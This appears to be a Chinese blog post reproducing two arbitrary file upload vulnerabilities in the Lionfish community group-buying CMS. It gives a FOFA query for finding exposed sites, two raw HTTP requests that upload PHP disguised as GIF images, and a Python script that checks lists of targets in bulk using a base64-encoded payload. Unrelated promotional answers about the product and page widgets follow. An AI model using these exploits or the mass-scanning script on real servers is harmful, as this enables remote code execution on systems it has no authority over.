狮子鱼社区团购系统CMS任意文件2处上传漏洞

漏洞复现

FOFA语句

"/seller.php?s=/Public/login"

 

POC1

POST /Common/ckeditor/plugins/multiimg/dialogs/image_upload.php HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 213
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Disposition: form-data; name="files"; filename="shenye.php"
Content-Type: image/gif

<?php echo('shenye');?>
------WebKitFormBoundary8UaANmWAgM4BqBSs—




 

poc2

POST /wxapp.php?controller=Goods.doPageUpload HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 214
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Disposition: form-data; name="upfile"; filename="shenye.php"
Content-Type: image/gif

<?php echo('shenye');?>
------WebKitFormBoundary8UaANmWAgM4BqBSs--

脚本

import requests
import time
import re
import argparse
import urllib3
import base64
parser = argparse.ArgumentParser(description='This is the help!')
parser.add_argument('-u','--url', help='单个检测',default='')
parser.add_argument('-f','--file', help='多个检测',default='')
urllib3.disable_warnings()
args = parser.parse_args()
name = '''
   _____ _     _     _             
  / ____| |   (_)   (_)            
 | (___ | |__  _ _____ _   _ _   _ 
  ___ | '_ | |_  / | | | | | | |
  ____) | | | | |/ /| | |_| | |_| |
 |_____/|_| |_|_/___|_|__, |__,_|
                        __/ |      
                       |___/        
                                                              
FOFA语法:"/seller.php?s=/Public/login"                                                            

'''
print(name)
def poc(url):
      target = url+"/wxapp.php?controller=Goods.doPageUpload"
      headers = {
           'Cache-Control': 'max-age=0',
           'Upgrade-Insecure-Requests': '1',
           'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs',
           'Origin': 'null',
           'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36',
           'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
           'Accept-Encoding': 'gzip, deflate',
           'Accept-Language': 'zh-CN,zh;q=0.9',
      }
      payload ='''
Ci0tLS0tLVdlYktpdEZvcm1Cb3VuZGFyeThVYUFObVdBZ000QnFCU3MKQ29udGVudC1EaXNwb3Np
dGlvbjogZm9ybS1kYXRhOyBuYW1lPSJ1cGZpbGUiOyBmaWxlbmFtZT0iVGVzdC5waHAiCkNvbnRl
bnQtVHlwZTogaW1hZ2UvZ2lmCgo8P3BocCBlY2hvKCdUZXN0Jyk7Pz4KLS0tLS0tV2ViS2l0Rm9y
bUJvdW5kYXJ5OFVhQU5tV0FnTTRCcUJTcy0tCgk=
      '''
      print("-"*60)
      try:
           r = requests.post(url=target,headers=headers,data=base64.decodebytes(payload.encode('utf-8')).decode(),timeout=8,verify=False)
           match = re.search(r'"image_o":"(.*?)",',r.text,re.I|re.M)
           s = match[1]
           s = s.replace('\','')
           print("正在检测:"+url)
           print("上传成功请访问:"+s)
      except:
           print("输入有误!")
      print("-"*60)
def more(file):
      f = open(file,'r')
      for i in f.readlines():
           i = i.strip()
           poc(i)
           print("n")
if __name__ == '__main__':
      if args.url !="" and args.file =="" :
           poc(args.url)
      if args.url =="" and args.file !="" :
           more(args.file)

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
### 回答1: 狮子社区团购小程序v17.7是一款功能强大、便捷实用的团购平台。此小程序通过与社区居民的绑定,为用户提供了丰富的社区生活服务。 首先,狮子社区团购小程序v17.7具有便捷的购物功能。用户可以通过小程序直接浏览社区内各类商品,并将其加入购物车,最后一次性结算。这为用户省去了与线下购物相比的种种不便,同时,用户还能够享受到更多促销和团购优惠,更实惠地购物。 其次,该小程序还为社区居民提供线上团购平台。用户可以通过小程序发起团购活动,邀请其他社区居民参与,从而获得更多折扣或者独家优惠。这不仅增强了社区居民之间的互动和交流,还提升了团购的参与度和成功率。 此外,狮子社区团购小程序v17.7还设置了用户评价和推荐系统。用户可以对购买过的商品进行评价,为其他用户提供参考。同时,小程序会根据用户的购买和评价记录,为其推荐符合个人喜好的商品,提升用户体验。 最后,狮子社区团购小程序v17.7还致力于提供高质量的售后服务。用户可以通过小程序在线咨询客服,解决遇到的问题。同时,小程序还提供退换货等售后服务,保障用户权益。 总体来说,狮子社区团购小程序v17.7是一款完善的团购平台,为社区居民提供了便利、实惠和高效的购物体验。它不仅促进了社区居民之间的交流和互动,还为用户带来了更多优质的商品选择和服务。 ### 回答2: 狮子社区团购小程序v17.7是一款专注于社区团购的小程序。该小程序提供了丰富的功能和便捷的服务,为用户提供了更好的购物体验。 首先,狮子社区团购小程序v17.7具有强大的商品展示功能。用户可以在小程序中浏览到各种社区团购商品的详细信息,包括商品的图片、价格、规格、产地等。用户可以通过小程序轻松了解商品的特点和优势,选择心仪的商品进行购买。 其次,该小程序提供了便捷的购物流程。用户可以选择心仪的商品加入购物车,然后选择配送地址和支付方式。小程序支持多种支付方式,包括微信支付、支付宝等,用户可以根据自身需求选择适合自己的支付方式。通过简单的几步操作,用户就可以完成团购商品的购买。 此外,狮子社区团购小程序v17.7还提供了社区互动功能。用户可以在小程序中加入社区,与其他社区成员互动交流,分享购物心得和团购优惠信息。社区还将定期组织一些线下活动,让用户更好地认识社区成员,增加社区凝聚力。 总的来说,狮子社区团购小程序v17.7是一款功能强大、操作简便的小程序。它通过丰富的商品展示、便捷的购物流程和社区互动功能,为用户提供了更好的购物体验,帮助用户更便捷地参与社区团购活动。无论是购买商品还是参与社区互动,用户都能在这款小程序中找到满足自己需求的功能。 ### 回答3: 狮子社区团购小程序v17.7是一款专为社区居民量身定制的电商应用程序。该小程序集结了社区内商家的特色商品和服务资源,为社区居民提供便捷、优质的购物体验。 首先,狮子社区团购小程序v17.7致力于满足社区居民的各类购物需求。用户通过该小程序可以轻松浏览社区商家的商品和服务信息,包括生活用品、食品保健品、家居装饰、餐饮外卖等。居民可以根据自己的需要选择心仪的商品,并享受到便宜的团购价格。 其次,狮子社区团购小程序v17.7具备便捷的购物功能。用户可以通过该小程序实现商品的在线下单和支付,无需亲自去商家购买,极大地提高了购物的便利性。用户可以随时随地进行下单,节省了购物的时间和精力。 此外,狮子社区团购小程序v17.7还积极推动社区居民之间的交流和互动。在该小程序中,用户可以发布和参与社区团购的活动,与邻居们一起团购商品,享受更多优惠。社区居民可以通过交流平台留言、评论、评分等方式,分享对商品和服务的评价和体验,帮助其他居民做出更明智的购买决策。 总之,狮子社区团购小程序v17.7是一款方便、实用的电商应用程序。通过该小程序,社区居民可以尽享便捷的购物体验,同时促进社区居民之间的交流和互动,提升社区居民的生活品质。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值